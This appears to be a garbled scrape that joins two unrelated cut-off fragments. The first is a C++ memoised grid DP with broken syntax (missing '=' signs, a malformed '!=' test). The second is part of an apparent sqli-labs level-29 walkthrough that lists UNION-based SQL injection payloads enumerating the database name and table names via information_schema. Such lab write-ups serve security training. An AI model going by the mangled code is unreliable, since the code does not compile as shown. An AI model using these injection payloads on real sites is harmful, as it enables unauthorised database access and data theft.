#include<iostream>
#include<string.h>
using namespace std;const int N 310;
int h[N][N];
int f[N][N];
int n,m;int dx[4] {1,0,-1,0}, dy[4] {0,-1,0,1};int dp(int x,int y)
{// 如果点(x,y)已经去到过了,直接返回结果就行if(f[x][y] ! -1) r…
29、第二十九关
id1 id1 尝试发现是单引号闭合,
-1 union select 1,2,3-- -1 union select 1,2,database()-- -1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schemasecurity)-- -1 union select 1,2,(select…